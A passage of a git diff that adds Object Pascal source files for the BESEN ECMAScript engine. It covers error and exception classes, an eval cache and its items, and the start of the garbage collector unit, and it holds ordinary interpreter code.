overload; virtual; + destructor Destroy; override; + end; + + EBESENUseStrict=class(EBESENError) + end; + + EBESENInternalError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENCompilerError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENEvalError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENRangeError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENReferenceError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENSyntaxError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENTypeError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENURIError=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + + EBESENThrowException=class(EBESENError) + public + constructor Create; overload; override; + constructor Create(const Msg:string); overload; override; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; override; + constructor Create(const AValue:TBESENValue); overload; override; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; override; + end; + +procedure BESENThrowReferenceError(const Msg:TBESENString); +procedure BESENThrowSyntaxError(const Msg:TBESENString); +procedure BESENThrowTypeError(const Msg:TBESENString); +procedure BESENThrowRangeError(const Msg:TBESENString); +procedure BESENThrowInternalError(const Msg:TBESENString); +procedure BESENThrowError(const Msg:TBESENString); +procedure BESENThrowCodeGeneratorInvalidRegister; +procedure BESENThrowRecursionLimitReached; +procedure BESENThrowNotDefined(const ARef:TBESENValue); +procedure BESENThrowReference; +procedure BESENThrowNotAccessable(const ARef:TBESENValue); +procedure BESENThrowNotReadable(const P:TBESENString); +procedure BESENThrowNotWritable(const P:TBESENString); +procedure BESENThrowNoSetter(const P:TBESENString); +procedure BESENThrowRcursivePrototypeChain; +procedure BESENThrowPut(const P:TBESENString); +procedure BESENThrowPutRecursivePrototypeChain; +procedure BESENThrowPutInvalidPrototype; +procedure BESENThrowDefineOwnProperty(const P:TBESENString); +procedure BESENThrowCaller; +procedure BESENThrowTypeErrorDeclarationBindingInstantiationAtFunctionBinding(const fn:TBESENString); +procedure BESENThrowTypeErrorNotAConstructorObject; +procedure BESENThrowTypeErrorObjectHasNoConstruct; +procedure BESENThrowTypeErrorNotAFunction; +procedure BESENThrowTypeErrorNotCallable; + +implementation + +uses BESEN,BESENStringUtils; + +constructor EBESENError.Create; +begin + inherited Create(''); + OriginalMessage:=''; + Name:='Error'; + Value:=BESENEmptyValue; +end; + +constructor EBESENError.Create(const Msg:string); +begin + inherited Create(Msg); + OriginalMessage:={$ifdef Delphi2009AndUp}Msg{$else}BESENConvertToUTF8(Msg){$endif}; + Name:='Error'; + Value:=BESENEmptyValue; +end; + +constructor EBESENError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited Create({$ifdef Delphi2009AndUp}Msg{$else}BESENUTF16ToUTF8(Msg){$endif}); + OriginalMessage:=Msg; + Name:='Error'; + Value:=BESENEmptyValue; +end; + +constructor EBESENError.Create(const AValue:TBESENValue); +begin + inherited Create(''); + OriginalMessage:=''; + Name:='Error'; + Value:=AValue; +end; + +constructor EBESENError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create({$ifdef Delphi2009AndUp}Msg{$else}BESENUTF16ToUTF8(Msg){$endif}); + OriginalMessage:=Msg; + Name:='Error'; + Value:=AValue; +end; + +constructor EBESENError.Create(const AName,Msg:TBESENSTRING); +begin + inherited Create({$ifdef Delphi2009AndUp}Msg{$else}BESENUTF16ToUTF8(Msg){$endif}); + OriginalMessage:=Msg; + Name:=AName; + Value:=BESENEmptyValue; +end; + +constructor EBESENError.Create(const AName,Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create({$ifdef Delphi2009AndUp}Msg{$else}BESENUTF16ToUTF8(Msg){$endif}); + OriginalMessage:=Msg; + Name:=AName; + Value:=AValue; +end; + +destructor EBESENError.Destroy; +begin + OriginalMessage:=''; + Value.Str:=''; + Value.ReferenceBase.Str:=''; + Value:=BESENEmptyValue; + Name:=''; + inherited Destroy; +end; + +constructor EBESENInternalError.Create; +begin + inherited Create; + Name:='InternalError'; +end; + +constructor EBESENInternalError.Create(const Msg:string); +begin + inherited Create(Msg); + Name:='InternalError'; +end; + +constructor EBESENInternalError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='InternalError'; +end; + +constructor EBESENInternalError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='InternalError'; +end; + +constructor EBESENInternalError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='InternalError'; +end; + +constructor EBESENCompilerError.Create; +begin + inherited Create; + Name:='CompilerError'; +end; + +constructor EBESENCompilerError.Create(const Msg:string); +begin + inherited Create(Msg); + Name:='CompilerError'; +end; + +constructor EBESENCompilerError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='CompilerError'; +end; + +constructor EBESENCompilerError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='CompilerError'; +end; + +constructor EBESENCompilerError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='CompilerError'; +end; + +constructor EBESENEvalError.Create; +begin + inherited Create; + Name:='EvalError'; +end; + +constructor EBESENEvalError.Create(const Msg:string); +begin + inherited Create(Msg); + Name:='EvalError'; +end; + +constructor EBESENEvalError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='EvalError'; +end; + +constructor EBESENEvalError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='EvalError'; +end; + +constructor EBESENEvalError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='EvalError'; +end; + +constructor EBESENRangeError.Create; +begin + inherited Create; + Name:='RangeError'; +end; + +constructor EBESENRangeError.Create(const Msg:string); +begin + inherited Create(Msg); + Name:='RangeError'; +end; + +constructor EBESENRangeError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='RangeError'; +end; + +constructor EBESENRangeError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='RangeError'; +end; + +constructor EBESENRangeError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='RangeError'; +end; + +constructor EBESENReferenceError.Create; +begin + inherited Create; + Name:='ReferenceError'; +end; + +constructor EBESENReferenceError.Create(const Msg:string); +begin + inherited Create(Msg); + Name:='ReferenceError'; +end; + +constructor EBESENReferenceError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='ReferenceError'; +end; + +constructor EBESENReferenceError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='ReferenceError'; +end; + +constructor EBESENReferenceError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='ReferenceError'; +end; + +constructor EBESENSyntaxError.Create; +begin + inherited Create; + Name:='SyntaxError'; +end; + +constructor EBESENSyntaxError.Create(const Msg:string); +begin + inherited CreateUTF16(Msg); + Name:='SyntaxError'; +end; + +constructor EBESENSyntaxError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='SyntaxError'; +end; + +constructor EBESENSyntaxError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='SyntaxError'; +end; + +constructor EBESENSyntaxError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='SyntaxError'; +end; + +constructor EBESENTypeError.Create; +begin + inherited Create; + Name:='TypeError'; +end; + +constructor EBESENTypeError.Create(const Msg:string); +begin + inherited CreateUTF16(Msg); + Name:='TypeError'; +end; + +constructor EBESENTypeError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='TypeError'; +end; + +constructor EBESENTypeError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='TypeError'; +end; + +constructor EBESENTypeError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='TypeError'; +end; + +constructor EBESENURIError.Create; +begin + inherited Create; + Name:='URIError'; +end; + +constructor EBESENURIError.Create(const Msg:string); +begin + inherited CreateUTF16(Msg); + Name:='URIError'; +end; + +constructor EBESENURIError.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='URIError'; +end; + +constructor EBESENURIError.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='URIError'; +end; + +constructor EBESENURIError.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='URIError'; +end; + +constructor EBESENThrowException.Create; +begin + inherited Create; + Name:='ThrowException'; +end; + +constructor EBESENThrowException.Create(const Msg:string); +begin + inherited CreateUTF16(Msg); + Name:='ThrowException'; +end; + +constructor EBESENThrowException.CreateUTF16(const Msg:TBESENSTRING); +begin + inherited CreateUTF16(Msg); + Name:='ThrowException'; +end; + +constructor EBESENThrowException.Create(const AValue:TBESENValue); +begin + inherited Create(AValue); + Name:='ThrowException'; +end; + +constructor EBESENThrowException.Create(const Msg:TBESENSTRING;const AValue:TBESENValue); +begin + inherited Create(Msg,AValue); + Name:='ThrowException'; +end; + +procedure BESENThrowReferenceError(const Msg:TBESENString); +begin + raise EBESENReferenceError.CreateUTF16(Msg); +end; + +procedure BESENThrowSyntaxError(const Msg:TBESENString); +begin + raise EBESENSyntaxError.CreateUTF16(Msg); +end; + +procedure BESENThrowTypeError(const Msg:TBESENString); +begin + raise EBESENTypeError.CreateUTF16(Msg); +end; + +procedure BESENThrowRangeError(const Msg:TBESENString); +begin + raise EBESENRangeError.CreateUTF16(Msg); +end; + +procedure BESENThrowInternalError(const Msg:TBESENString); +begin + raise EBESENInternalError.CreateUTF16(Msg); +end; + +procedure BESENThrowError(const Msg:TBESENString); +begin + raise EBESENError.CreateUTF16(Msg); +end; + +procedure BESENThrowCodeGeneratorInvalidRegister; +begin + BESENThrowError('Invalid register in code generation'); +end; + +procedure BESENThrowRecursionLimitReached; +begin + BESENThrowError('Recursion limit reached'); +end; + +procedure BESENThrowNotDefined(const ARef:TBESENValue); +begin + BESENThrowReferenceError('"'+ARef.Str+'" is not defined'); +end; + +procedure BESENThrowReference; +begin + BESENThrowReferenceError('Reference error'); +end; + +procedure BESENThrowNotAccessable(const ARef:TBESENValue); +begin + BESENThrowReferenceError('"'+ARef.Str+'" is not accessable'); +end; + +procedure BESENThrowNotReadable(const P:TBESENString); +begin + BESENThrowReferenceError('"'+P+'" is not readable'); +end; + +procedure BESENThrowNotWritable(const P:TBESENString); +begin + BESENThrowReferenceError('"'+P+'" is not writable'); +end; + +procedure BESENThrowNoSetter(const P:TBESENString); +begin + BESENThrowTypeError('"'+P+'" has no setter'); +end; + +procedure BESENThrowRcursivePrototypeChain; +begin + BESENThrowTypeError('Recursive prototype chain not allowed'); +end; + +procedure BESENThrowPut(const P:TBESENString); +begin + BESENThrowTypeError('Put for "'+P+'" failed'); +end; + +procedure BESENThrowPutRecursivePrototypeChain; +begin + BESENThrowTypeError('Put for "__proto__" failed, because the prototype chain would be recursive'); +end; + +procedure BESENThrowPutInvalidPrototype; +begin + BESENThrowTypeError('Put for "__proto__" failed, because the prototype would be invalid'); +end; + +procedure BESENThrowDefineOwnProperty(const P:TBESENString); +begin + BESENThrowTypeError('DefineOwnProperty for "'+P+'" failed'); +end; + +procedure BESENThrowCaller; +begin + BESENThrowTypeError('"caller" not allowed here'); +end; + +procedure BESENThrowTypeErrorDeclarationBindingInstantiationAtFunctionBinding(const fn:TBESENString); +begin + BESENThrowTypeError('"'+fn+'" not writable or is a accessor descriptor'); +end; + +procedure BESENThrowTypeErrorNotAConstructorObject; +begin + BESENThrowTypeError('Not a constructor object'); +end; + +procedure BESENThrowTypeErrorObjectHasNoConstruct; +begin + BESENThrowTypeError('Object has no construct'); +end; + +procedure BESENThrowTypeErrorNotAFunction; +begin + BESENThrowTypeError('Not a function'); +end; + +procedure BESENThrowTypeErrorNotCallable; +begin + BESENThrowTypeError('Not callable'); +end; + +end. diff --git a/Core/JS/BESENEvalCache.pas b/Core/JS/BESENEvalCache.pas new file mode 100644 index 0000000..78d9c9d --- /dev/null +++ b/Core/JS/BESENEvalCache.pas @@ -0,0 +1,142 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENEvalCache; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENBaseObject,BESENASTNodes, + BESENEvalCacheItem; + +type TBESENEvalCache=class(TBESENBaseObject) + private + procedure SetCacheSize(NewSize:longword); + public + HashSize:longword; + HashSizeMask:longword; + HashItems:TBESENEvalCacheItems; + MaxSourceLength:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function Hash(const Source:TBESENString;CallerStrict:TBESENBoolean):TBESENHash; + function Get(const Source:TBESENString;CallerStrict:TBESENBoolean):TBESENEvalCacheItem; + published + property CacheSize:longword read HashSize write SetCacheSize; + end; + +implementation + +uses BESEN,BESENUtils,BESENStringUtils,BESENErrors,BESENHashUtils; + +constructor TBESENEvalCache.Create(AInstance:TObject); +begin + inherited Create(AInstance); + HashItems:=nil; + SetCacheSize(BESENEvalCacheSize); + MaxSourceLength:=BESENEvalCacheMaxSourceLength; +end; + +destructor TBESENEvalCache.Destroy; +var i:integer; +begin + for i:=0 to length(HashItems)-1 do begin + if assigned(HashItems[i]) then begin + BESENFreeAndNil(HashItems[i]); + HashItems[i]:=nil; + end; + end; + SetLength(HashItems,0); + inherited Destroy; +end; + +procedure TBESENEvalCache.SetCacheSize(NewSize:longword); +var i:integer; +begin + for i:=0 to length(HashItems)-1 do begin + if assigned(HashItems[i]) then begin + HashItems[i].DecRef; + HashItems[i]:=nil; + end; + end; + HashSize:=BESENRoundUpToPowerOfTwo(NewSize); + HashSizeMask:=HashSize-1; + SetLength(HashItems,HashSize); + for i:=0 to length(HashItems)-1 do begin + HashItems[i]:=nil; + end; +end; + +function TBESENEvalCache.Hash(const Source:TBESENString;CallerStrict:TBESENBoolean):TBESENHash; +begin + result:=BESENHashKey(Source); + if CallerStrict then begin + result:=not (result+1); + end; +end; + +function TBESENEvalCache.Get(const Source:TBESENString;CallerStrict:TBESENBoolean):TBESENEvalCacheItem; +var HashValue:TBESENUINT32; + Node:TBESENASTNode; +begin + if HashSize>0 then begin + HashValue:=Hash(Source,CallerStrict) and HashSizeMask; + result:=HashItems[HashValue]; + if (assigned(result) and ((result.Source<>Source) or (result.CallerStrict<>CallerStrict))) or not assigned(result) then begin + result:=TBESENEvalCacheItem.Create(Instance); + try + result.Source:=Source; + result.CallerStrict:=CallerStrict; + Node:=TBESEN(Instance).Compile({$ifndef BESENSingleStringType}BESENUTF16ToUTF8({$endif}Source{$ifndef BESENSingleStringType}){$endif}); + if (not assigned(Node)) or not (Node is TBESENASTNodeProgram) then begin + BESENThrowError('No program'); + end; + result.Node:=TBESENASTNodeProgram(Node); + try + if assigned(HashItems[HashValue]) then begin + HashItems[HashValue].DecRef; + end; + HashItems[HashValue]:=result; + result.IncRef; + except + HashItems[HashValue]:=nil; + raise; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + end else begin + result:=nil; + end; +end; + +end. diff --git a/Core/JS/BESENEvalCacheItem.pas b/Core/JS/BESENEvalCacheItem.pas new file mode 100644 index 0000000..c4f141c --- /dev/null +++ b/Core/JS/BESENEvalCacheItem.pas @@ -0,0 +1,85 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENEvalCacheItem; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENBaseObject,BESENRegExp,BESENASTNodes; + +type TBESENEvalCacheItem=class(TBESENBaseObject) + public + ReferenceCounter:integer; + Source:TBESENString; + CallerStrict:TBESENBoolean; + Node:TBESENASTNodeProgram; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure IncRef; + procedure DecRef; + end; + + TBESENEvalCacheItems=array of TBESENEvalCacheItem; + +implementation + +uses BESEN,BESENUtils,BESENStringUtils,BESENErrors,BESENHashUtils; + +constructor TBESENEvalCacheItem.Create(AInstance:TObject); +begin + inherited Create(Instance); + ReferenceCounter:=0; + Source:=''; + CallerStrict:=false; + Node:=nil; +end; + +destructor TBESENEvalCacheItem.Destroy; +begin + BESENFreeAndNil(Node); + Source:=''; + inherited Destroy; +end; + +procedure TBESENEvalCacheItem.IncRef; +begin + inc(ReferenceCounter); +end; + +procedure TBESENEvalCacheItem.DecRef; +begin + dec(ReferenceCounter); + if ReferenceCounter<=0 then begin + Destroy; + end; +end; + +end. diff --git a/Core/JS/BESENGarbageCollector.pas b/Core/JS/BESENGarbageCollector.pas new file mode 100644 index 0000000..4f728fe --- /dev/null +++ b/Core/JS/BESENGarbageCollector.pas @@ -0,0 +1,991 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENGarbageCollector; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENBaseObject,BESENCollectorObject, + BESENPointerSelfBalancedTree,BESENValue; + +type TBESENGarbageCollectorObjectList=class; + + TBESENGarbageCollectorObject=class(TBESENCollectorObject) + public + GarbageCollectorPrevious,GarbageCollectorNext, + GarbageCollectorRootObjectListPrevious,GarbageCollectorRootObjectListNext, + GarbageCollectorProtectedObjectListPrevious,GarbageCollectorProtectedObjectListNext, + GarbageCollectorObjectListPrevious,GarbageCollectorObjectListNext:TBESENGarbageCollectorObject; + GarbageCollectorObjectList:TBESENGarbageCollectorObjectList; + GarbageCollectorDependsChildren,GarbageCollectorDependsParents:TBESENPointerSelfBalancedTree; + GarbageCollectorLockReferenceCounter:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Finalize; virtual; + procedure Mark; virtual; + procedure DependsOn(Parent:TBESENGarbageCollectorObject); + procedure GarbageCollectorWriteBarrier; + procedure GarbageCollectorLock; + procedure GarbageCollectorUnlock; + end; + + TBESENGarbageCollectorRootObjectList=class(TBESENBaseObject) + public + First,Last:TBESENGarbageCollectorObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + procedure ClearWithFree; + procedure Add(AObject:TBESENGarbageCollectorObject); + procedure Remove(AObject:TBESENGarbageCollectorObject); + function Contains(AObject:TBESENGarbageCollectorObject):boolean; + procedure Push(AObject:TBESENGarbageCollectorObject); + function Pop:TBESENGarbageCollectorObject; + end; + + TBESENGarbageCollectorProtectedObjectList=class(TBESENBaseObject) + public + First,Last:TBESENGarbageCollectorObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + procedure ClearWithFree; + procedure Add(AObject:TBESENGarbageCollectorObject); + procedure Remove(AObject:TBESENGarbageCollectorObject); + function Contains(AObject:TBESENGarbageCollectorObject):boolean; + procedure Push(AObject:TBESENGarbageCollectorObject); + function Pop:TBESENGarbageCollectorObject; + end; + + TBESENGarbageCollectorObjectList=class(TBESENBaseObject) + public + First,Last:TBESENGarbageCollectorObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + procedure ClearWithFree; + procedure Add(AObject:TBESENGarbageCollectorObject); + procedure Remove(AObject:TBESENGarbageCollectorObject); + function Contains(AObject:TBESENGarbageCollectorObject):boolean; + procedure Push(AObject:TBESENGarbageCollectorObject); + function Pop:TBESENGarbageCollectorObject; + end; + + TBESENGarbageCollectorState=(bgcsINIT,bgcsMARKROOTS,bgcsMARKPROTECTED,bgcsMARKPROGRAMNODES,bgcsMARKCONTEXTS,bgcsMARKGRAYS,bgcsSWEEPWHITES,bgcsDONE); + + TBESENGarbageCollector=class(TBESENBaseObject) + public + First,Last:TBESENGarbageCollectorObject; + CurrentRootObject:TBESENGarbageCollectorObject; + CurrentProtectedObject:TBESENGarbageCollectorObject; + CurrentMarkObject:TBESENGarbageCollectorObject; + CurrentSweepObject:TBESENGarbageCollectorObject; + CurrentContext:TObject; + RootObjectList:TBESENGarbageCollectorRootObjectList; + ProtectedObjectList:TBESENGarbageCollectorProtectedObjectList; + WhiteObjectList:TBESENGarbageCollectorObjectList; + GrayObjectList:TBESENGarbageCollectorObjectList; + BlackObjectList:TBESENGarbageCollectorObjectList; + IsSweeping:longbool; + State:TBESENGarbageCollectorState; + TriggerCounter:integer; + MarkFactor:integer; + TriggerCountPerCollect:integer; + Count:int64; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + procedure Reset; + procedure WhiteIt(AObject:TBESENGarbageCollectorObject); + procedure ForceGrayIt(AObject:TBESENGarbageCollectorObject); + procedure GrayIt(AObject:TBESENGarbageCollectorObject); + procedure BlackIt(AObject:TBESENGarbageCollectorObject); + procedure Protect(AObject:TBESENGarbageCollectorObject); + procedure Unprotect(AObject:TBESENGarbageCollectorObject); + procedure FinalizeObjectForSweeping(AObject:TBESENGarbageCollectorObject); + procedure GrayValue(var Value:TBESENValue); + procedure FinalizeValue(var Value:TBESENValue); + procedure Mark(AObject:TBESENGarbageCollectorObject); + procedure Flip; + procedure TriggerCollect; + function Collect:boolean; + procedure CollectAll; + procedure Use(AObject:TBESENGarbageCollectorObject); + procedure Add(AObject:TBESENGarbageCollectorObject); + procedure AddRoot(AObject:TBESENGarbageCollectorObject); + procedure RemoveRoot(AObject:TBESENGarbageCollectorObject); + procedure AddProtected(AObject:TBESENGarbageCollectorObject); + procedure RemoveProtected(AObject:TBESENGarbageCollectorObject); + procedure LockObject(Obj:TBESENGarbageCollectorObject); + procedure UnlockObject(Obj:TBESENGarbageCollectorObject); + procedure LockValue(const Value:TBESENValue); + procedure UnlockValue(const Value:TBESENValue); + end; + +implementation + +uses BESEN,BESENUtils,BESENObject,BESENEnvironmentRecord, + BESENASTNodes,BESENCode,BESENContext, + BESENObjectDeclaredFunction; + +constructor TBESENGarbageCollectorObject.Create(AInstance:TObject); +begin + inherited Create(AInstance); + inc(TBESEN(Instance).GarbageCollector.Count); + GarbageCollectorPrevious:=TBESEN(Instance).GarbageCollector.Last; + GarbageCollectorNext:=nil; + if assigned(GarbageCollectorPrevious) then begin + GarbageCollectorPrevious.GarbageCollectorNext:=self; + end else begin + TBESEN(Instance).GarbageCollector.First:=self; + end; + TBESEN(Instance).GarbageCollector.Last:=self; + GarbageCollectorRootObjectListPrevious:=nil; + GarbageCollectorRootObjectListNext:=nil; + GarbageCollectorProtectedObjectListPrevious:=nil; + GarbageCollectorProtectedObjectListNext:=nil; + GarbageCollectorObjectListPrevious:=nil; + GarbageCollectorObjectListNext:=nil; + GarbageCollectorObjectList:=nil; + GarbageCollectorDependsChildren:=TBESENPointerSelfBalancedTree.Create; + GarbageCollectorDependsParents:=TBESENPointerSelfBalancedTree.Create; + GarbageCollectorLockReferenceCounter:=0; +end; + +destructor TBESENGarbageCollectorObject.Destroy; +var n:PBESENPointerSelfBalancedTreeNode; +begin + if assigned(GarbageCollectorPrevious) then begin + GarbageCollectorPrevious.GarbageCollectorNext:=GarbageCollectorNext; + end else if TBESEN(Instance).GarbageCollector.First=self then begin + TBESEN(Instance).GarbageCollector.First:=GarbageCollectorNext; + end; + if assigned(GarbageCollectorNext) then begin + GarbageCollectorNext.GarbageCollectorPrevious:=GarbageCollectorPrevious; + end else if TBESEN(Instance).GarbageCollector.Last=self then begin + TBESEN(Instance).GarbageCollector.Last:=GarbageCollectorPrevious; + end; + GarbageCollectorNext:=nil; + GarbageCollectorPrevious:=nil; + if assigned(GarbageCollectorObjectList) then begin + GarbageCollectorObjectList.Remove(self); + GarbageCollectorObjectList:=nil; + end; + if assigned(GarbageCollectorDependsParents) then begin + n:=GarbageCollectorDependsParents.FirstKey; + while assigned(n) do begin + if assigned(n^.Key) and assigned(TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsChildren) then begin + TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsChildren.Remove(self); + end; + n:=n^.NextKey; + end; + end; + if assigned(GarbageCollectorDependsChildren) then begin + n:=GarbageCollectorDependsChildren.FirstKey; + while assigned(n) do begin + if assigned(n^.Key) and assigned(TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsParents) then begin + TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsParents.Remove(self); + end; + n:=n^.NextKey; + end; + end; + BESENFreeAndNil(GarbageCollectorDependsChildren); + BESENFreeAndNil(GarbageCollectorDependsParents); + if assigned(Instance) and assigned(TBESEN(Instance).GarbageCollector) then begin + if assigned(TBESEN(Instance).GarbageCollector.RootObjectList) and TBESEN(Instance).GarbageCollector.RootObjectList.Contains(self) then begin + TBESEN(Instance).GarbageCollector.RootObjectList.Remove(self); + end; + if assigned(TBESEN(Instance).GarbageCollector.ProtectedObjectList) and TBESEN(Instance).GarbageCollector.ProtectedObjectList.Contains(self) then begin + TBESEN(Instance).GarbageCollector.ProtectedObjectList.Remove(self); + end; + end; + dec(TBESEN(Instance).GarbageCollector.Count); + inherited Destroy; +end; + +procedure TBESENGarbageCollectorObject.Finalize; +var n:PBESENPointerSelfBalancedTreeNode; +begin + if assigned(GarbageCollectorDependsParents) then begin + n:=GarbageCollectorDependsParents.FirstKey; + while assigned(n) do begin + if assigned(n^.Key) and assigned(TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsChildren) then begin + TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsChildren.Remove(self); + end; + n:=n^.NextKey; + end; + end; + if assigned(GarbageCollectorDependsChildren) then 